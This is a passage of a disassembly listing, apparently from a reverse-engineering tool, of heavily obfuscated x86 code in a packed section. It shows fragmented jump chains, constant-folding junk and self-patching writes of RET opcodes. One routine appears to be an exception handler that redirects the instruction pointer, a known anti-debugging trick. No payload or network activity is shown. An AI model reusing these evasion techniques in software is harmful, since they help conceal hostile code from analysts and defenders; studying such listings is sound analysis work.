CHUNK AT 0074D92E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DA1C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074F1A6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0074F290 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F414 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074F4DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F8B1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00752EA4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00754ED9 SIZE 00000017 BYTES xchg ecx, [esp-4+arg_0] pop ecx push 6B861534h pop eax xor eax, 340032Ch add eax, 97AE496Ah jmp loc_74F8B1 sub_749254 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_74926F: ; CODE XREF: sub_74E762+8BADj sbb ebx, 1998A493h push edx loc_749276: ; CODE XREF: sub_74E762:loc_74E25Cj mov eax, 10726C00h call sub_748538 loc_749280: ; CODE XREF: sub_74B305+8433j jmp sub_74C2F6 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749DB4 loc_749285: ; CODE XREF: sub_749DB4+3j xchg edi, [esp+4+var_4] mov ebp, esp add esp, 0FFFFFFF8h push ebx mov [ebp-4], eax mov eax, offset dword_74F3BC jmp sub_746062 ; END OF FUNCTION CHUNK FOR sub_749DB4 ; --------------------------------------------------------------------------- jmp ds:dword_41F0FC ; --------------------------------------------------------------------------- loc_7492A1: ; CODE XREF: _0z4jwtox:0074FD5Ej jmp loc_754E60 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_273. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test [ebp-78FFFF99h], ecx cmp al, 24h mov edx, edi jmp loc_74C1EF ; --------------------------------------------------------------------------- loc_7492B6: ; DATA XREF: _0z4jwtox:0074CA5Ao push ecx push 0D2D9DC01h pop ecx add ecx, 0DB85546Fh rol ecx, 0Fh jmp loc_754AB6 ; --------------------------------------------------------------------------- adc eax, 2C918D0Bh pushf jmp sub_7475CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475DD loc_7492D7: ; CODE XREF: sub_7475DD+Dj cmp ds:dword_7575C8, 0 jnz loc_756B1B lea edx, [ebp-14h] mov eax, offset dword_7575CC call sub_752E0F lea eax, [ebp-14h] loc_7492F4: ; CODE XREF: sub_746E37:loc_750C61j push eax jmp loc_754DD0 ; END OF FUNCTION CHUNK FOR sub_7475DD ; --------------------------------------------------------------------------- jle loc_753D65 push ecx jmp sub_7473E6 ; =============== S U B R O U T I N E ======================================= sub_749306 proc near ; CODE XREF: sub_748C0D:loc_74C6F7p ; _0z4jwtox:00753CCBj ; FUNCTION CHUNK AT 007458AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746E9E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00747790 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00748A83 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074937F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074B259 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074D0FE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074E267 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074EE9C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007507D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007509A0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075121A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753482 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00753920 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007554A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075556F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 007575D9 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi loc_74930A: ; CODE XREF: sub_749608:loc_74F2FDj mov ebp, esp push ecx mov [ebp-4], eax mov eax, [ebp-4] jmp loc_7458AB sub_749306 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_749318: ; CODE XREF: _0z4jwtox:00752F1Aj test ebx, 4000h jmp loc_753B69 ; --------------------------------------------------------------------------- or eax, 1734A235h jmp loc_749EC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_74932E: ; CODE XREF: sub_753176-9F7Ej jnz loc_750E05 jmp loc_74D3CE ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529BD loc_749339: ; CODE XREF: sub_7529BD:loc_755DDFj jz loc_751F25 ; END OF FUNCTION CHUNK FOR sub_7529BD ; START OF FUNCTION CHUNK FOR sub_748B44 loc_74933F: ; CODE XREF: sub_748B44+E831j jmp loc_74E080 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756D58 loc_749344: ; CODE XREF: sub_756D58+9j jmp loc_74E2C2 ; END OF FUNCTION CHUNK FOR sub_756D58 ; --------------------------------------------------------------------------- loc_749349: ; CODE XREF: _0z4jwtox:007538F2j jmp loc_75227B ; --------------------------------------------------------------------------- sub ecx, 7CC7BDA0h jmp loc_751F15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_749359: ; CODE XREF: sub_748DCB+D7B1j jnz loc_754FE4 ; END OF FUNCTION CHUNK FOR sub_748DCB ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_74935F: ; CODE XREF: sub_74C2C9+387Bj jmp loc_74FF99 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D424 loc_749364: ; CODE XREF: sub_74D424-374Fj jmp loc_7510D1 ; END OF FUNCTION CHUNK FOR sub_74D424 ; --------------------------------------------------------------------------- jnb loc_753D9D jmp loc_754FE1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_749375: ; CODE XREF: sub_747C22+F691j jmp loc_74F89D ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748574 loc_74937A: ; CODE XREF: sub_748574+69C7j jmp loc_754DC5 ; END OF FUNCTION CHUNK FOR sub_748574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_74937F: ; CODE XREF: sub_749306+769Bj popf loc_749380: ; CODE XREF: sub_749306:loc_748A83j call sub_74AE67 ; END OF FUNCTION CHUNK FOR sub_749306 ; START OF FUNCTION CHUNK FOR sub_74CF82 loc_749385: ; CODE XREF: sub_74CF82-105Ej mov ds:off_41F004, eax lea eax, sub_74CF82 call sub_749FD7 loc_749396: ; CODE XREF: sub_750638:loc_746A39j ror ecx, 0Ah pushf mov ebx, [ecx] jmp loc_749596 ; END OF FUNCTION CHUNK FOR sub_74CF82 ; --------------------------------------------------------------------------- loc_7493A1: ; CODE XREF: _0z4jwtox:0074AEA2j xchg edi, eax jmp loc_74C25C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_7493A8: ; CODE XREF: sub_7474B9:loc_74D995j jnz loc_754BD7 jmp loc_74F93B ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_7493B3: ; CODE XREF: sub_7475CB+Dj ; sub_7475DD:loc_754DD0j call sub_74C2C9 call sub_74B74C loc_7493BD: ; CODE XREF: sub_750638+5761j jmp loc_74759C ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- loc_7493C2: ; CODE XREF: _0z4jwtox:0074EEC7j xchg edx, [esp] push 4D80B49h pop esi rol esi, 1 xor esi, 4EF9A123h jmp loc_756FED ; --------------------------------------------------------------------------- loc_7493D8: ; CODE XREF: _0z4jwtox:00754B31j cmp edx, 0B0B98924h jmp loc_750CCF ; --------------------------------------------------------------------------- loc_7493E3: ; CODE XREF: _0z4jwtox:loc_749C4Dj rol eax, 11h push offset loc_747496 jmp loc_75425F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75427C loc_7493F0: ; CODE XREF: sub_75427C-4C81j xchg ebx, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_75427C ; --------------------------------------------------------------------------- jmp ds:dword_41F1A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_7493FE: ; CODE XREF: sub_747736+9C68j jmp loc_750BA5 ; END OF FUNCTION CHUNK FOR sub_747736 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] dd 0A559h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_749408: ; CODE XREF: sub_75364C+3676j jmp loc_7469DA ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DFF3 loc_74940D: ; CODE XREF: sub_74DFF3+7j jmp loc_75624F ; END OF FUNCTION CHUNK FOR sub_74DFF3 ; --------------------------------------------------------------------------- loc_749412: ; CODE XREF: _0z4jwtox:00749F39j jz loc_756EDD jmp loc_757859 ; --------------------------------------------------------------------------- loc_74941D: ; DATA XREF: sub_74FACE-63A9o xor eax, 5CD4690Bh add eax, ebp push esi push 19B25EECh jmp loc_74D58D ; --------------------------------------------------------------------------- loc_749430: ; CODE XREF: _0z4jwtox:00750F95j call sub_746E93 mov ds:dword_41F18C, eax lea eax, nullsub_275 mov byte ptr [eax], 0C3h jmp nullsub_275 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_749449: ; CODE XREF: sub_747C39:loc_74B2A4j sub eax, edx pop edx ror eax, 13h mov edx, [esp-4+arg_0] push edi mov edi, eax xchg edi, [esp+0] mov eax, edx jmp loc_74D337 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- xor ecx, edi jmp loc_752EB2 ; --------------------------------------------------------------------------- loc_749466: ; CODE XREF: _0z4jwtox:00750312j mov byte ptr [eax], 0C3h jmp loc_748F50 ; =============== S U B R O U T I N E ======================================= sub_74946E proc near ; CODE XREF: sub_4123B8+113p ; sub_4123B8+21Bp ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007454CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00745761 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00745861 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007458CE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00746DF9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007477E9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007490B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749E28 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0074B650 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074B834 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074C06C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074D52B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074E147 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075083C SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0075219C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007524D1 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00752701 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00752D96 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 007534B1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00755AF7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00756890 SIZE 00000010 BYTES jnz loc_749E42 mov eax, ds:dword_752DAC or eax, eax jnz loc_745767 jmp loc_746DF9 sub_74946E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_749487 proc near ; DATA XREF: sub_750A01+3354o jnz loc_7494A4 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_74A4D8 ; --------------------------------------------------------------------------- loc_7494A4: ; CODE XREF: sub_749487j cmp dword ptr [ebp-10h], 2 jmp loc_74C5D2 sub_749487 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7494AD: ; CODE XREF: sub_747C22+F44Fj jb loc_746959 jmp loc_74D5CE ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- jge loc_74AA39 push ebp jmp sub_74DC58 ; --------------------------------------------------------------------------- loc_7494C4: ; DATA XREF: sub_74A094+473Eo jnz loc_748240 lea eax, [ebp-125h] push eax call sub_7451D9 mov [ebp-4], eax jmp loc_748240 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_7494DF: ; CODE XREF: sub_74A96E+1j jmp loc_753E45 ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- ror edx, 11h jmp sub_7465EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_7494EC: ; CODE XREF: sub_748B52+Cj jnz loc_74A2A2 jmp loc_74AC68 ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_7494F7: ; CODE XREF: sub_747736+B65Bj add ecx, eax loc_7494F9: ; CODE XREF: sub_7572F3-11129j ; sub_74E693+Dj ... jmp loc_7461B9 ; --------------------------------------------------------------------------- loc_7494FE: ; CODE XREF: _0z4jwtox:0074FBDEj ; sub_747736:loc_751398j pop ecx push offset sub_74A5D2 jmp loc_748EC8 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_749509: ; CODE XREF: sub_745A78:loc_749CFEj call sub_746145 loc_74950E: ; CODE XREF: sub_755C10-3C77j jnz loc_754A1A jmp loc_753384 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- adc ebx, 4D1A8267h jmp sub_755964 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_749524: ; CODE XREF: sub_755C38-8021j mov byte ptr [eax], 0C3h jmp loc_74B7C1 ; END OF FUNCTION CHUNK FOR sub_755C38 ; =============== S U B R O U T I N E ======================================= sub_74952C proc near ; CODE XREF: sub_41AE3D:loc_41AE6Cp ; sub_41AE3D+E1p ... ; FUNCTION CHUNK AT 007489E4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00748CAE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00749C5F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B32E SIZE 0000000C BYTES push ecx call sub_748E1D loc_749532: ; CODE XREF: _0z4jwtox:0074C2B1j test eax, 4 jmp loc_7489E4 sub_74952C endp ; =============== S U B R O U T I N E ======================================= sub_74953D proc near ; DATA XREF: sub_7459E9+5o arg_8 = dword ptr 0Ch push ecx mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h lea eax, loc_747E12 mov [ecx+0B8h], eax pop ecx xor eax, eax retn sub_74953D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DAAF loc_749558: ; CODE XREF: sub_74DAAF+1j jmp loc_74EDC5 ; END OF FUNCTION CHUNK FOR sub_74DAAF ; --------------------------------------------------------------------------- loc_74955D: ; CODE XREF: _0z4jwtox:00752882j xchg ebx, [esp] jmp sub_750638 ; --------------------------------------------------------------------------- popf jmp sub_756B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74956B: ; CODE XREF: sub_747C22:loc_747BF6j jz loc_745292 jmp loc_745998 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_749576 proc near ; CODE XREF: sub_74C0A0:loc_752850p ; _0z4jwtox:0075744Fj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074841D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop edx mov eax, [esp-8+arg_4] push edx jmp loc_74841D sub_749576 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebx push 0A1B47E84h pop ebx sub ebx, 0BC63FF62h jmp loc_75327A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF82 loc_749596: ; CODE XREF: sub_74CF82-3BE6j ; sub_750638:loc_755BA9j push offset loc_7513A3 jmp loc_746E32 ; END OF FUNCTION CHUNK FOR sub_74CF82 ; --------------------------------------------------------------------------- dd 3F73800Fh, 0D5850000h, 0FFEA19E9h db 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7495AE: ; DATA XREF: sub_754C68-669Do pushf call sub_748498 ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_7495B4: ; CODE XREF: sub_74BD6F+7EE1j jmp nullsub_159 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_7495B9: ; CODE XREF: sub_7514AC-CB3j jmp sub_75375E ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- loc_7495BE: ; CODE XREF: _0z4jwtox:007577FBj jb loc_751FF3 ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_7495C4: ; CODE XREF: sub_7473D1+7C7Cj jmp nullsub_246 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C2D loc_7495C9: ; CODE XREF: sub_750C2D-9A8Cj jmp loc_7513EE ; END OF FUNCTION CHUNK FOR sub_750C2D ; --------------------------------------------------------------------------- sub edx, 44363D2Eh jmp loc_751FF1 ; --------------------------------------------------------------------------- push 0AE074BFFh pop eax sub eax, 97AC9236h xor eax, 0AFD7041Eh jmp loc_755D5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_7495F0: ; CODE XREF: sub_754729:loc_752D7Ej jz loc_75237C call sub_74FA8F jnz loc_75237C loc_749601: ; CODE XREF: sub_74BF3A-684j mov eax, ebx jmp loc_75237E ; END OF FUNCTION CHUNK FOR sub_754729 ; =============== S U B R O U T I N E ======================================= sub_749608 proc near ; DATA XREF: sub_74E451+7E31o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00745128 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00747A2B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B4B3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074BBC9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074C5BA SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0074EBBB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F2FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075073B SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00754638 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755595 SIZE 00000008 BYTES add eax, ebp add eax, 354049D4h mov eax, [eax] pushf jmp loc_74BBC9 sub_749608 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edi, [ecx] jmp sub_7541BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_74961F: ; CODE XREF: sub_74C874+1838j pop esi lea eax, sub_74C874 mov byte ptr [eax], 0C3h jmp loc_74CB8E ; END OF FUNCTION CHUNK FOR sub_74C874 ; =============== S U B R O U T I N E ======================================= sub_74962E proc near ; CODE XREF: sub_40517E+1FCp ; _0z4jwtox:0074EB2Dj ; DATA XREF: ... push offset loc_754AF4 jmp nullsub_40 sub_74962E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FC30 loc_749638: ; CODE XREF: sub_74FC30+1Bj call sub_752E0F lea eax, [ebp+var_14] push offset sub_752E17 jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_74FC30 ; --------------------------------------------------------------------------- loc_74964A: ; CODE XREF: _0z4jwtox:loc_74AB25j pop ecx ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_74964B: ; CODE XREF: sub_74A3AB+1C24j and ecx, 9467659h add ecx, 0F7FFEF50h mov [ecx], eax pop ecx jmp loc_74C7B7 ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7468F2 loc_74965F: ; CODE XREF: sub_7468F2:loc_74A3F5j rol esi, 2 xor esi, 0D37EA0EDh rol esi, 3 add esi, 0DAD9678Eh xchg esi, [esp-4+arg_0] jmp sub_752F76 ; END OF FUNCTION CHUNK FOR sub_7468F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_749679: ; CODE XREF: sub_74D782:loc_74BC91j or eax, 67A69319h jnz loc_7456B7 xchg edi, edx jmp loc_745046 ; END OF FUNCTION CHUNK FOR sub_74D782 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753C2A loc_74968D: ; CODE XREF: sub_753C2A+7j jmp sub_748C0D ; END OF FUNCTION CHUNK FOR sub_753C2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_749692: ; CODE XREF: sub_74C8DA+36F1j jmp loc_749A12 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- loc_749697: ; CODE XREF: _0z4jwtox:00748200j jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74969C: ; CODE XREF: sub_747C22+47Aj jmp loc_7554B2 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- locret_7496A1: ; CODE XREF: _0z4jwtox:loc_74BAAAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_7496A2: ; CODE XREF: sub_755E40:loc_748788j jz loc_752D24 ; END OF FUNCTION CHUNK FOR sub_755E40 ; =============== S U B R O U T I N E ======================================= sub_7496A8 proc near ; CODE XREF: sub_75712E-11D91p xchg esi, [esp+0] pop esi lea eax, sub_74C874 mov byte ptr [eax], 0C3h jmp sub_74C874 sub_7496A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_7496BA: ; CODE XREF: sub_74C874j xchg ebp, [esp+4+var_4] mov edx, ebp pop ebp jmp loc_7464C2 ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- loc_7496C5: ; CODE XREF: _0z4jwtox:00747EEDj pop ecx mov eax, [esp] push edx push edi push 6CD90D99h pop edi jmp loc_7520CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_7496D6: ; CODE XREF: sub_74B1F1-4188j sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] call sub_752737 loc_7496E2: ; CODE XREF: sub_749229+Bj jmp loc_74608D ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_7496E7: ; CODE XREF: sub_7523A2-6869j call sub_754E36 mov eax, 36428C3Ch push esi push 70C43123h pop esi add esi, 172D490Ah and esi, 0E8BF15F2h jmp loc_748822 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FACE loc_749709: ; CODE XREF: sub_74FACE+3j push ecx mov [ebp+var_4], eax push 549A3405h pop eax sub eax, 8ED5B2F9h or eax, 5EC80354h and eax, 906A7EB4h push offset loc_74941D jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_74FACE ; --------------------------------------------------------------------------- loc_74972F: ; CODE XREF: _0z4jwtox:loc_75787Fj xchg ebx, edi loc_749731: ; CODE XREF: _0z4jwtox:loc_757877j or ebx, 3256FE14h add ebx, 39D45871h add ecx, ebx pop ebx mov ecx, [ecx] call sub_757799 rol edi, 0Dh pushf jmp sub_754175 ; --------------------------------------------------------------------------- push 30F4D365h xchg ebx, [esp] mov eax, ebx pop ebx or eax, 0CB284A23h and eax, 12216C74h call sub_754B1B loc_74976C: ; DATA XREF: sub_74C3B3+6C2Eo mov eax, [esp] push ebx mov ebx, edx xchg ebx, [esp] push offset sub_745462 jmp loc_74D380 ; --------------------------------------------------------------------------- jmp ds:off_41F198 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_749785: ; CODE XREF: sub_74F08D:loc_748C8Cj ; _0z4jwtox:0074BD11j ... jz loc_74C7C5 pop edx mov eax, [esp-4+arg_0] push edx push edi push 7570A229h jmp loc_745D5D ; END OF FUNCTION CHUNK FOR sub_74F08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74979B: ; CODE XREF: sub_7571A1:loc_74E709j pop eax or eax, 0C4FC7EC4h add eax, 3FF0CD3Fh xor eax, 28270BCh call sub_746E93 push ebx push 0AAEF4957h xchg eax, [esp+8+var_8] jmp loc_74DB68 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_7497C1: ; CODE XREF: sub_745A78:loc_748D12j mov byte ptr [eax], 0C3h jmp loc_7523D4 ; END OF FUNCTION CHUNK FOR sub_745A78 ; =============== S U B R O U T I N E ======================================= sub_7497C9 proc near ; CODE XREF: sub_41A95B+138p ; _0z4jwtox:0074977Fj ; DATA XREF: ... push esi call sub_74F08D locret_7497CF: ; CODE XREF: sub_756158+Cj retn sub_7497C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_7497D0: ; CODE XREF: sub_74721B+3j xchg eax, [esp+4+var_4] mov ebp, esp push ecx loc_7497D6: ; CODE XREF: _0z4jwtox:loc_74A4AAj mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_74B63E ; END OF FUNCTION CHUNK FOR sub_74721B ; --------------------------------------------------------------------------- locret_7497E3: ; CODE XREF: _0z4jwtox:0074FDBEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756FF2 loc_7497E4: ; CODE XREF: sub_756FF2-71F8j jmp nullsub_229 ; END OF FUNCTION CHUNK FOR sub_756FF2 ; --------------------------------------------------------------------------- loc_7497E9: ; DATA XREF: sub_74D7D4-3950o xchg ebp, [esp] mov edx, eax call sub_752E0F push ebx jmp loc_745507 ; =============== S U B R O U T I N E ======================================= sub_7497F9 proc near ; CODE XREF: _0z4jwtox:00756FBBj ; sub_749B76+D908p ; FUNCTION CHUNK AT 007468EA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074A58A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0075496A SIZE 00000005 BYTES xchg eax, [esp+0] pop eax inc eax mov eax, [eax] add eax, [ebp-4] jmp loc_7468EA sub_7497F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_749808: ; CODE XREF: sub_749B76:loc_74767Cj mov eax, [ebp-4] call sub_745911 push offset loc_75311C jmp loc_7564CF ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757498 loc_74981A: ; CODE XREF: sub_757498-93E1j jl loc_753700 loc_749820: ; CODE XREF: _0z4jwtox:00756FA0j jmp loc_750901 ; END OF FUNCTION CHUNK FOR sub_757498 ; --------------------------------------------------------------------------- ror ebp, 15h add edx, ecx jmp loc_7536F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74982F: ; CODE XREF: sub_7501AF+6704j jnp loc_74F2B6 mov eax, [ebp+0] pushf loc_749839: ; CODE XREF: sub_7501AF:loc_7568A0j rol ecx, 2 sub ecx, 736C0471h add ecx, 98FFFF59h xchg ecx, [esp+0] jmp nullsub_207 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_749850: ; CODE XREF: sub_748C0D+3AF1j jo loc_756534 jo loc_7452E7 ; END OF FUNCTION CHUNK FOR sub_748C0D ; =============== S U B R O U T I N E ======================================= sub_74985C proc near ; CODE XREF: sub_75364C:loc_753401p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745F4B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074ED8B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00751545 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753E8E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754A30 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007560B4 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_753E8E sub_74985C endp ; sp-analysis failed ; --------------------------------------------------------------------------- 